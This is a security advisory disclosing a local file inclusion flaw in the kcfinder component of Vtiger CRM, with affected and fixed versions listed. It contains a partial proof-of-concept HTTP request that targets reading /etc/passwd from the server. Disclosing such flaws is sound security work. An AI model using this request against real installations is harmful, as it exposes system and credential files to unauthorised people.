Vulnerability title: Local File Inclusion in Vtiger CRM
Affected version: Vtiger CRM 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version: Vtiger CRM 6.0.0 Security patch 1
Reported by: Jerzy Kramarz
A local file inclusion vulnerability was discovered in the 'kcfinder'
component of the vtiger CRM 6.0 RC. This could be exploited to include
arbitrary files via directory traversal sequences and subsequently
disclose contents of arbitrary files.
The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.
POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
Note: In order to exploit this vulnerability an attacker has to be authenticated.
Further details at:
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